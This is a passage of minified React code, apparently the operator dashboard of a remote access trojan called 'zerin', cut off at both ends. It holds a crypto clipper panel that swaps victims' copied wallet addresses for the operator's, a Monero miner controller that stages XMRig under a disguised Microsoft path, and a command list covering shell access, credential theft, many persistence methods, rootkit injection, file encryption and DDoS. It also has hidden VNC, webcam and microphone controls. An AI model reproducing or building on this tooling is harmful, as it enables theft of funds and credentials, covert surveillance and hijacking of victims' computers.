address";case"eth":return/^0x[0-9a-fA-F]{40}$/.test(t)?null:"Invalid ETH address (0x + 40 hex)";case"ltc":return t.startsWith("ltc1")&&t.length>=25||(t.startsWith("L")||t.startsWith("M"))&&t.length>=26&&t.length<=34?null:"Invalid LTC address";case"xmr":return t.startsWith("4")&&t.length===95?null:"Invalid XMR address (starts with 4, 95 chars)";case"doge":return t.startsWith("D")&&t.length===34?null:"Invalid DOGE address";case"sol":return t.length>=32&&t.length<=44?null:"Invalid SOL address (32-44 chars)";case"xrp":return t.startsWith("r")&&t.length>=25&&t.length<=35?null:"Invalid XRP address";case"trx":return t.startsWith("T")&&t.length===34?null:"Invalid TRX address";case"bnb":return t.startsWith("bnb1")&&t.length===42?null:"Invalid BNB address"}return null}function uV({agentId:e,agentStatus:t}){const[n,r]=m.useState({...cV}),[i,s]=m.useState(!1),[o,l]=m.useState(!1),[c,u]=m.useState(null),[d,f]=m.useState({}),p=t==="dead",h=(b,w="ok")=>{u({text:b,type:w}),setTimeout(()=>u(null),3e3)},x=(b,w)=>{r(N=>({...N,[b]:w}));const j=R2(b,w);f(N=>{const k={...N};return j?k[b]=j:delete k[b],k})},g=Object.entries(n).some(([b,w])=>w&&!d[b]),y=m.useCallback(async()=>{if(p)return;const b={};for(const[w,j]of Object.entries(n))if(j){const N=R2(w,j);N&&(b[w]=N)}if(f(b),Object.keys(b).length>0){h("Fix validation errors first","err");return}l(!0);try{const w={};for(const[j,N]of Object.entries(n))N&&(w[j]=N);await Me(e,{command:"clipper_config",args:[JSON.stringify(w)]}),h("Config sent to agent")}catch(w){h(w instanceof Error?w.message:"Failed","err")}finally{l(!1)}},[e,n,p]),v=m.useCallback(async()=>{if(!p){l(!0);try{if(!i&&g){const b={};for(const[w,j]of Object.entries(n))j&&(b[w]=j);await Me(e,{command:"clipper_config",args:[JSON.stringify(b)]})}await Me(e,{command:i?"clipper_stop":"clipper_start"}),s(!i),h(i?"Clipper stop sent":"Clipper start sent")}catch(b){h(b instanceof Error?b.message:"Failed","err")}finally{l(!1)}}},[e,i,n,g,p]);return a.jsxs("div",{className:"p-6 animate-fade-in space-y-6",children:[c&&a.jsx("div",{className:`fixed top-4 right-4 z-50 px-4 py-2 text-sm font-medium shadow-lg + ${c.type==="ok"?"bg-emerald-500/20 border border-emerald-500/40 text-emerald-400":"bg-zerin-danger-dim border border-zerin-danger/40 text-zerin-danger"}`,children:c.text}),a.jsxs("div",{className:"flex items-center gap-4",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("div",{className:`w-3 h-3 rounded-full ${i?"bg-emerald-500 animate-pulse":"bg-zinc-600"}`}),a.jsxs("span",{className:"text-sm font-semibold text-zerin-text",children:["Crypto Clipper ",i?"(Active)":"(Inactive)"]})]}),a.jsxs("button",{onClick:v,disabled:o||p,className:`inline-flex items-center gap-2 text-sm font-medium px-4 py-2 transition-colors + disabled:opacity-30 disabled:cursor-not-allowed + ${i?"bg-zerin-danger hover:bg-red-600 text-white":"bg-emerald-600 hover:bg-emerald-500 text-white"}`,children:[o?a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):i?a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 7.5A2.25 2.25 0 017.5 5.25h9a2.25 2.25 0 012.25 2.25v9a2.25 2.25 0 01-2.25 2.25h-9a2.25 2.25 0 01-2.25-2.25v-9z"})}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 5.653c0-.856.917-1.398 1.667-.986l11.54 6.348a1.125 1.125 0 010 1.971l-11.54 6.347a1.125 1.125 0 01-1.667-.985V5.653z"})}),i?"Stop Clipper":"Start Clipper"]}),a.jsx("button",{onClick:y,disabled:o||p||!g,className:`inline-flex items-center gap-1.5 text-sm font-medium\r + text-zerin-text-dim hover:text-zerin-text\r + bg-zerin-panel hover:bg-zerin-panel-hover\r + border border-zerin-panel-border\r + px-3 py-2 transition-colors\r + disabled:opacity-30 disabled:cursor-not-allowed`,children:"Save Config"}),p&&a.jsx("span",{className:"text-zerin-danger text-xs font-medium",children:"Agent offline"})]}),a.jsx("div",{className:"grid grid-cols-1 lg:grid-cols-2 xl:grid-cols-3 gap-4",children:lV.map(({key:b,label:w,placeholder:j,color:N})=>a.jsxs("div",{className:"space-y-1",children:[a.jsx("label",{className:`text-xs font-semibold ${N}`,children:w}),a.jsx("input",{type:"text",value:n[b],onChange:k=>x(b,k.target.value),placeholder:j,className:`w-full bg-zerin-bg border px-3 py-2 text-sm font-mono text-zerin-text + placeholder-zerin-text-muted + focus:outline-none focus:ring-1 transition-all + ${d[b]?"border-zerin-danger/50 focus:border-zerin-danger focus:ring-zerin-danger/20":"border-zerin-panel-border focus:border-zerin-accent/50 focus:ring-zerin-accent/20"}`}),d[b]&&a.jsx("p",{className:"text-[10px] text-zerin-danger",children:d[b]})]},b))}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4 space-y-2",children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text-dim uppercase tracking-wider",children:"How it works"}),a.jsxs("ul",{className:"text-xs text-zerin-text-muted space-y-1 list-disc list-inside",children:[a.jsx("li",{children:"Monitors clipboard for crypto wallet addresses"}),a.jsx("li",{children:"Automatically replaces detected addresses with your wallets"}),a.jsx("li",{children:"Supports BTC (bech32 + legacy), ETH, LTC, XMR, DOGE, SOL, XRP, TRX, BNB"}),a.jsx("li",{children:"Uses AddClipboardFormatListener (event-driven, zero CPU when idle)"}),a.jsx("li",{children:"Config can be updated while running"})]})]})]})}const $2=["pool.hashvault.pro:443","pool.supportxmr.com:443","xmr-eu1.nanopool.org:14433","gulf.moneroocean.stream:10128"];function dV({agentId:e,agentStatus:t}){const[n,r]=m.useState($2[0]),[i,s]=m.useState(""),[o,l]=m.useState(""),[c,u]=m.useState(50),[d,f]=m.useState(!1),[p,h]=m.useState(null),[x,g]=m.useState(null),y=m.useRef(null),v=t==="dead",b=(x==null?void 0:x.running)??!1,w=(S,A)=>{h({text:S,type:A}),setTimeout(()=>h(null),5e3)};m.useEffect(()=>{if(!e)return;const S=async()=>{try{const A=await Xn(e),_=(A.tasks??[]).filter(O=>O.command==="miner_status").sort((O,P)=>new Date(P.created_at).getTime()-new Date(O.created_at).getTime());if(_.length>0){const O=_[0],P=(A.results??[]).find(D=>D.task_id===O.id);if(P!=null&&P.output)try{const D=JSON.parse(P.output);g(D)}catch{}}}catch{}};return S(),y.current=setInterval(S,5e3),()=>{y.current&&clearInterval(y.current)}},[e]);const j=async()=>{if(!i.trim()){w("Wallet address is required","err");return}f(!0);try{await Me(e,{command:"miner_start",args:[n,i.trim(),o||"worker",String(c)]}),w("Miner start command sent","ok"),setTimeout(async()=>{try{await Me(e,{command:"miner_status"})}catch{}},3e3)}catch(S){w(S instanceof Error?S.message:"Failed to start","err")}finally{f(!1)}},N=async()=>{f(!0);try{await Me(e,{command:"miner_stop"}),g(null),w("Stop command sent","ok")}catch(S){w(S instanceof Error?S.message:"Failed to stop","err")}finally{f(!1)}},k=async()=>{try{await Me(e,{command:"miner_status"}),w("Status request sent","ok")}catch(S){w(S instanceof Error?S.message:"Failed to query status","err")}},z=S=>{const A=Math.floor(S/3600),_=Math.floor(S%3600/60),O=Math.floor(S%60);return A>0?`${A}h ${_}m ${O}s`:_>0?`${_}m ${O}s`:`${O}s`};return a.jsx("div",{className:"p-6 animate-fade-in",children:a.jsxs("div",{className:"max-w-2xl mx-auto space-y-6",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("div",{className:"w-8 h-8 bg-amber-500/10 flex items-center justify-center",children:a.jsx("svg",{className:"w-4 h-4 text-amber-400",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 6.375c0 2.278-3.694 4.125-8.25 4.125S3.75 8.653 3.75 6.375m16.5 0c0-2.278-3.694-4.125-8.25-4.125S3.75 4.097 3.75 6.375m16.5 0v11.25c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125V6.375m16.5 0v3.75m-16.5-3.75v3.75m16.5 0v3.75C20.25 16.153 16.556 18 12 18s-8.25-1.847-8.25-4.125v-3.75m16.5 0c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125"})})}),a.jsxs("div",{children:[a.jsx("h2",{className:"text-sm font-semibold text-zerin-text",children:"XMR Miner"}),a.jsx("p",{className:"text-xs text-zerin-text-muted",children:"Monero CPU mining via XMRig"})]}),b&&a.jsxs("span",{className:"ml-auto flex items-center gap-1.5 text-xs font-medium text-amber-400",children:[a.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-amber-400 animate-pulse"}),"MINING"]})]}),p&&a.jsx("div",{className:`px-3 py-2 text-xs font-mono ${p.type==="ok"?"bg-emerald-500/10 text-emerald-400 border border-emerald-500/20":"bg-red-500/10 text-red-400 border border-red-500/20"}`,children:p.text}),b&&x&&a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[a.jsxs("div",{className:"px-4 py-3 border-b border-zerin-panel-border flex items-center justify-between",children:[a.jsx("h3",{className:"text-xs font-semibold text-zerin-text uppercase tracking-wider",children:"Mining Stats"}),a.jsx("button",{onClick:k,className:"text-xs text-zerin-text-muted hover:text-zerin-accent transition-colors",children:"Refresh"})]}),a.jsxs("div",{className:"p-4 grid grid-cols-2 gap-4",children:[a.jsx(Sa,{label:"Hashrate (10s)",value:x.hashrate_10s!=null?`${x.hashrate_10s.toFixed(1)} H/s`:"-"}),a.jsx(Sa,{label:"Hashrate (60s)",value:x.hashrate_60s!=null?`${x.hashrate_60s.toFixed(1)} H/s`:"-"}),a.jsx(Sa,{label:"Accepted",value:x.accepted!=null?String(x.accepted):"-",valueClass:"text-emerald-400"}),a.jsx(Sa,{label:"Rejected",value:x.rejected!=null?String(x.rejected):"-",valueClass:x.rejected&&x.rejected>0?"text-red-400":void 0}),a.jsx(Sa,{label:"Uptime",value:x.uptime!=null?z(x.uptime):"-"}),a.jsx(Sa,{label:"PID",value:x.pid!=null?String(x.pid):"-"})]}),x.error&&a.jsx("div",{className:"px-4 pb-3",children:a.jsx("p",{className:"text-xs text-red-400 font-mono",children:x.error})})]}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:a.jsx("h3",{className:"text-xs font-semibold text-zerin-text uppercase tracking-wider",children:"Configuration"})}),a.jsxs("div",{className:"p-4 space-y-4",children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Pool"}),a.jsx("select",{value:n,onChange:S=>r(S.target.value),disabled:v||b,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono\r + focus:outline-none focus:border-zerin-accent/50\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:$2.map(S=>a.jsx("option",{value:S,children:S},S))})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Wallet Address"}),a.jsx("input",{type:"text",value:i,onChange:S=>s(S.target.value),placeholder:"4...",disabled:v||b,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Worker Name"}),a.jsx("input",{type:"text",value:o,onChange:S=>l(S.target.value),placeholder:"worker (default: hostname)",disabled:v||b,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`})]}),a.jsxs("div",{children:[a.jsxs("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:["Max CPU: ",a.jsxs("span",{className:"text-zerin-text font-mono",children:[c,"%"]})]}),a.jsx("input",{type:"range",min:10,max:100,step:5,value:c,onChange:S=>u(Number(S.target.value)),disabled:v||b,className:"w-full accent-amber-500 disabled:opacity-40"}),a.jsxs("div",{className:"flex justify-between text-[10px] text-zerin-text-muted font-mono mt-1",children:[a.jsx("span",{children:"10%"}),a.jsx("span",{children:"25%"}),a.jsx("span",{children:"50%"}),a.jsx("span",{children:"75%"}),a.jsx("span",{children:"100%"})]})]})]})]}),a.jsx("div",{className:"flex gap-3",children:b?a.jsxs("button",{onClick:N,disabled:d,className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r + text-sm font-medium text-white bg-zinc-600 hover:bg-zinc-700\r + disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 7.5A2.25 2.25 0 017.5 5.25h9a2.25 2.25 0 012.25 2.25v9a2.25 2.25 0 01-2.25 2.25h-9a2.25 2.25 0 01-2.25-2.25v-9z"})}),"Stop Mining"]}):a.jsxs("button",{onClick:j,disabled:v||d||!i.trim(),className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r + text-sm font-medium text-white bg-amber-600 hover:bg-amber-700\r + disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 5.653c0-.856.917-1.398 1.667-.986l11.54 6.348a1.125 1.125 0 010 1.971l-11.54 6.347a1.125 1.125 0 01-1.667-.985V5.653z"})}),"Start Mining"]})}),a.jsx("div",{className:"bg-amber-500/5 border border-amber-500/15 px-4 py-3",children:a.jsxs("p",{className:"text-xs text-amber-400/80",children:["XMRig binary must be uploaded to ",a.jsx("span",{className:"font-mono",children:"%LOCALAPPDATA%\\Microsoft\\Runtime\\svcruntime.exe"})," on the target before starting the miner. Use the File Manager tab to upload it."]})})]})})}function Sa({label:e,value:t,valueClass:n}){return a.jsxs("div",{className:"bg-zerin-bg border border-zerin-panel-border px-3 py-2.5",children:[a.jsx("p",{className:"text-[10px] text-zerin-text-muted uppercase tracking-wider mb-1",children:e}),a.jsx("p",{className:`text-sm font-mono font-medium ${n||"text-zerin-text"}`,children:t})]})}const B2=["shell","powershell","execute","whoami","ps","kill","sysinfo","specs","windows","installed_apps","netstat","ifconfig","env","ls","cd","pwd","upload","download","delete","encrypt","decrypt","screenshot","persist_runkey","persist_schtask","persist_service","persist_startup","persist_logonscript","persist_screensaver","persist_ifeo","persist_bits","persist_com","persist_dllhijack","persist_wmi","persist_portmon","persist_ssp","reg_read","reg_write","rootkit_status","rootkit_inject","restart","shutdown","troll_msgbox","troll_tts","troll_website","troll_wallpaper","troll_taskbar","troll_cd_tray","chat","creds","clipper_start","clipper_stop","clipper_config","ddos_start","ddos_stop","miner_start","miner_stop","miner_status","sleep","exit","uninstall"],fV={queued:"bg-zinc-500/15 text-zinc-400",sent:"bg-zinc-400/10 text-zinc-400",completed:"bg-zinc-400/10 text-zinc-300",failed:"bg-zerin-danger-dim text-zerin-danger",timeout:"bg-zerin-panel-hover text-zerin-text-muted"},_m=["overview","screenshots","files","processes","windows","apps","system","troll","credentials","clipper","ddos","miner"];function mV(){const{id:e}=rl(),t=hr(),[n,r]=Sx(),[i,s]=m.useState(null),[o,l]=m.useState([]),[c,u]=m.useState([]),[d,f]=m.useState(!0),[p,h]=m.useState(""),[x,g]=m.useState(""),[y,v]=m.useState(!1),[b,w]=m.useState(!1),[j,N]=m.useState(()=>{const I=n.get("tab");return I&&_m.includes(I)?I:"overview"}),[k,z]=m.useState(()=>{const I=n.get("tab"),fe=new Set(["overview"]);return I&&_m.includes(I)&&fe.add(I),fe}),[S,A]=m.useState(null),[_,O]=m.useState(!0),[P,D]=m.useState(!1),[V,R]=m.useState(null),[M,W]=m.useState(new Set),[$,U]=m.useState(()=>n.get("auto")==="1"),[B,K]=m.useState(null),[Z,le]=m.useState(-1),[de,we]=m.useState(!1),ye=m.useRef(null);m.useEffect(()=>{z(I=>{if(I.has(j))return I;const fe=new Set(I);return fe.add(j),fe})},[j]),m.useEffect(()=>{z(new Set(["overview"]))},[e]),m.useEffect(()=>{const I=n.get("tab");I&&_m.includes(I)&&I!==j&&N(I)},[n]);const G=I=>{N(I),I==="overview"?n.delete("tab"):n.set("tab",I),r(n,{replace:!0})},te=m.useCallback(async()=>{if(e)try{const I=await qE(e);s(I),h("");try{const fe=await Xn(e);l(fe.tasks??[]),u(fe.results??[])}catch{l([]),u([])}}catch(I){s(null);const fe=I instanceof Error&&"status"in I?I.status:"network";h(I instanceof Error?`${I.message} (${fe})`:String(I))}finally{f(!1)}},[e]);m.useEffect(()=>{te();const I=setInterval(te,5e3);return()=>clearInterval(I)},[te]),m.useEffect(()=>{if(!e)return;let I=!0;const fe=async()=>{try{const ne=await u_(e);I&&K(ne)}catch{I&&K(null)}};fe();const q=setInterval(fe,3e3);return()=>{I=!1,clearInterval(q)}},[e]),m.useEffect(()=>{if(!S)return;const I=fe=>{fe.key==="Escape"&&A(null)};return window.addEventListener("keydown",I),()=>window.removeEventListener("keydown",I)},[S]);const C=m.useMemo(()=>[...o].sort((I,fe)=>new Date(I.created_at).getTime()-new Date(fe.created_at).getTime()),[o]),Y=5e3,re=m.useMemo(()=>{var fe;const I=[];for(const q of C){const ne=(fe=q.args)!=null&&fe.length?" "+q.args.join(" "):"";I.push({type:"command",content:`${q.command}${ne}`,timestamp:q.created_at});const ve=c.find(H=>H.task_id===q.id);ve?(ve.error&&I.push({type:"error",content:ve.error,timestamp:ve.completed_at}),ve.output&&I.push({type:"output",content:ve.output,timestamp:ve.completed_at})):q.status==="queued"||q.status==="sent"?I.push({type:"system",content:`[${q.status==="queued"?"Queued":"Sent"} - awaiting result...]`}):q.status==="timeout"&&I.push({type:"error",content:"[Task timed out]"})}if(I.length>Y){const q=I.slice(I.length-Y);return q.unshift({type:"system",content:`[Output truncated: showing last ${Y.toLocaleString()} of ${I.length.toLocaleString()} lines]`}),q}return I},[C,c]),F=m.useMemo(()=>{const I=[];for(const fe of C){if(fe.command!=="screenshot")continue;const q=c.find(ne=>ne.task_id===fe.id);if(q!=null&&q.data){const ne=uA(q.data)?cA(q.data):`data:image/png;base64,${q.data}`;I.push({taskId:fe.id,timestamp:q.completed_at,dataUrl:ne})}}return I},[C,c]),se=x?B2.filter(I=>I.startsWith(x.split(" ")[0])&&I!==x.split(" ")[0]):B2;async function be(I){var ve;if(I.preventDefault(),!e||!x.trim())return;const fe=x.trim().split(/\s+/),q=fe[0],ne=fe.slice(1);v(!0),w(!1);try{await Me(e,{command:q,args:ne}),g(""),R(null),setTimeout(te,500)}catch(H){R(`[SEND FAILED] ${H instanceof Error?H.message:"Unknown error"}`)}finally{v(!1),(ve=ye.current)==null||ve.focus()}}function ke(I){var fe;g(I+" "),w(!1),(fe=ye.current)==null||fe.focus()}if(d)return a.jsx("div",{className:"flex items-center justify-center h-full",children:a.jsxs("div",{className:"flex flex-col items-center gap-3",children:[a.jsx("div",{className:"w-8 h-8 border-2 border-zerin-accent/30 border-t-zerin-accent rounded-full animate-spin"}),a.jsx("p",{className:"text-zerin-text-dim text-sm",children:"Loading agent data..."})]})});if(!i)return a.jsx("div",{className:"flex items-center justify-center h-full",children:a.jsxs("div",{className:"text-center bg-zerin-panel border border-zerin-panel-border p-10 max-w-md",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-4 bg-zerin-danger-dim flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-danger",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})})}),a.jsx("h2",{className:"font-display text-lg text-zerin-text font-semibold mb-2",children:"Agent Not Found"}),p&&a.jsx("p",{className:"text-zerin-text-muted text-sm mb-2",children:p}),a.jsxs("p",{className:"text-zerin-text-muted text-xs font-mono mb-6",children:["ID: ",e]}),a.jsxs("button",{onClick:()=>t("/dashboard"),className:`inline-flex items-center gap-2 text-sm font-medium text-zerin-accent + hover:text-zerin-accent-hover bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-4 py-2 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 19l-7-7 7-7"})}),"Back to Dashboard"]})]})});const Ae=i.hostname||"unknown";return a.jsxs("div",{className:"h-full flex flex-col animate-fade-in",children:[a.jsxs("div",{className:"flex items-center gap-4 px-6 py-4 border-b border-zerin-panel-border bg-zerin-panel/40",children:[a.jsxs("button",{onClick:()=>t("/dashboard"),className:`inline-flex items-center gap-1.5 text-sm text-zerin-text-dim + hover:text-zerin-accent transition-colors px-2 py-1 + hover:bg-zerin-accent-muted`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 19l-7-7 7-7"})}),"Back"]}),a.jsx("div",{className:"w-px h-6 bg-zerin-panel-border"}),a.jsx("h1",{className:"font-display text-xl font-semibold text-zerin-text",children:Ae}),a.jsx(hd,{status:i.status,size:"md",showLabel:!0}),a.jsx("span",{className:"font-mono text-xs text-zerin-text-muted",children:to(i.id)}),i.elevated&&a.jsx("span",{className:"bg-zerin-panel-hover text-zerin-text-dim px-2 py-0.5 text-xs font-medium",children:"ADMIN"}),i.status!=="dead"&&a.jsxs("div",{className:"ml-auto flex items-center gap-2",children:[a.jsxs("button",{onClick:async()=>{try{await Px(i.id);const I=st(),fe=window.open(`/vnc/${i.id}`,`vnc-${i.id}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(fe&&I){const q=ne=>{var ve;((ve=ne.data)==null?void 0:ve.type)==="zerin_auth_request"&&ne.origin===window.location.origin&&(fe.postMessage({type:"zerin_auth",token:I},window.location.origin),window.removeEventListener("message",q))};window.addEventListener("message",q)}}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})}),"VNC"]}),a.jsxs("button",{onClick:async()=>{try{await z5(i.id);const I=st(),fe=window.open(`/vnc/${i.id}?mode=hvnc`,`hvnc-${i.id}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(fe&&I){const q=ne=>{var ve;((ve=ne.data)==null?void 0:ve.type)==="zerin_auth_request"&&ne.origin===window.location.origin&&(fe.postMessage({type:"zerin_auth",token:I},window.location.origin),window.removeEventListener("message",q))};window.addEventListener("message",q)}}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.98 8.223A10.477 10.477 0 001.934 12C3.226 16.338 7.244 19.5 12 19.5c.993 0 1.953-.138 2.863-.395M6.228 6.228A10.45 10.45 0 0112 4.5c4.756 0 8.773 3.162 10.065 7.498a10.523 10.523 0 01-4.293 5.774M6.228 6.228L3 3m3.228 3.228l3.65 3.65m7.894 7.894L21 21m-3.228-3.228l-3.65-3.65m0 0a3 3 0 10-4.243-4.243m4.242 4.242L9.88 9.88"})}),"hVNC"]}),a.jsxs("div",{className:"relative",children:[a.jsxs("button",{onClick:()=>we(I=>!I),className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",d:"M15.75 10.5l4.72-4.72a.75.75 0 011.28.53v11.38a.75.75 0 01-1.28.53l-4.72-4.72M4.5 18.75h9a2.25 2.25 0 002.25-2.25v-9a2.25 2.25 0 00-2.25-2.25h-9A2.25 2.25 0 002.25 7.5v9a2.25 2.25 0 002.25 2.25z"})}),"Webcam",a.jsx("svg",{className:"w-3 h-3 ml-0.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.5 8.25l-7.5 7.5-7.5-7.5"})})]}),de&&a.jsxs("div",{className:"absolute top-full left-0 mt-1 z-50 bg-zerin-panel border border-zerin-border p-3 shadow-xl min-w-[200px]",style:{background:"#18181B",border:"1px solid #27272A"},children:[a.jsx("div",{className:"text-xs font-medium text-zerin-text-muted mb-2",children:"Device"}),a.jsxs("select",{value:Z,onChange:I=>le(Number(I.target.value)),className:"w-full bg-zerin-bg border border-zerin-border text-zerin-text text-sm px-2 py-1 mb-2",style:{background:"#09090B",border:"1px solid #27272A",color:"#FAFAFA"},children:[a.jsx("option",{value:-1,children:"Auto-detect"}),[0,1,2,3,4,5,6,7,8,9].map(I=>a.jsxs("option",{value:I,children:["Camera ",I]},I))]}),a.jsx("button",{onClick:async()=>{we(!1);try{await S5(i.id,Z);const I=st(),fe=window.open(`/webcam/${i.id}`,`webcam-${i.id}`,"width=800,height=650,menubar=no,toolbar=no,location=no,status=no");if(fe&&I){const q=ne=>{var ve;((ve=ne.data)==null?void 0:ve.type)==="zerin_auth_request"&&ne.origin===window.location.origin&&(fe.postMessage({type:"zerin_auth",token:I},window.location.origin),window.removeEventListener("message",q))};window.addEventListener("message",q)}}catch{}},className:"w-full text-sm font-medium px-3 py-1.5 bg-zerin-accent text-black hover:bg-zerin-accent-hover transition-colors",children:"Start"})]})]}),a.jsxs("button",{onClick:async()=>{try{await C5(i.id);const I=st(),fe=window.open(`/mic/${i.id}`,`mic-${i.id}`,"width=500,height=400,menubar=no,toolbar=no,location=no,status=no");if(fe&&I){const q=ne=>{var ve;((ve=ne.data)==null?void 0:ve.type)==="zerin_auth_request"&&ne.origin===window.location.origin&&(fe.postMessage({type:"zerin_auth",token:I},window.location.origin),window.removeEventListener("message",q))};window.addEventListener("message",q)}}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 18.75a6 6 0 006-6v-1.5m-6 7.5a6 6 0 01-6-6v-1.5m6 7.5v3.75m-3.75 0h7.5M12 15.75a3 3 0 01-3-3V4.5a3 3 0 116 0v8.25a3 3 0 01-3 3z"})}),"Mic"]}),a.jsxs("button",{onClick:async()=>{try{await Me(i.id,{command:"screenshot"}),G("screenshots")}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[a.jsxs("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6.827 6.175A2.31 2.31 0 015.186 7.23c-.38.054-.757.112-1.134.175C2.999 7.58 2.25 8.507 2.25 9.574V18a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9.574c0-1.067-.75-1.994-1.802-2.169a47.865 47.865 0 00-1.134-.175 2.31 2.31 0 01-1.64-1.055l-.822-1.316a2.192 2.192 0 00-1.736-1.039 48.774 48.774 0 00-5.232 0 2.192 2.192 0 00-1.736 1.039l-.821 1.316z"}),a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M16.5 12.75a4.5 4.5 0 11-9 0 4.5 4.5 0 019 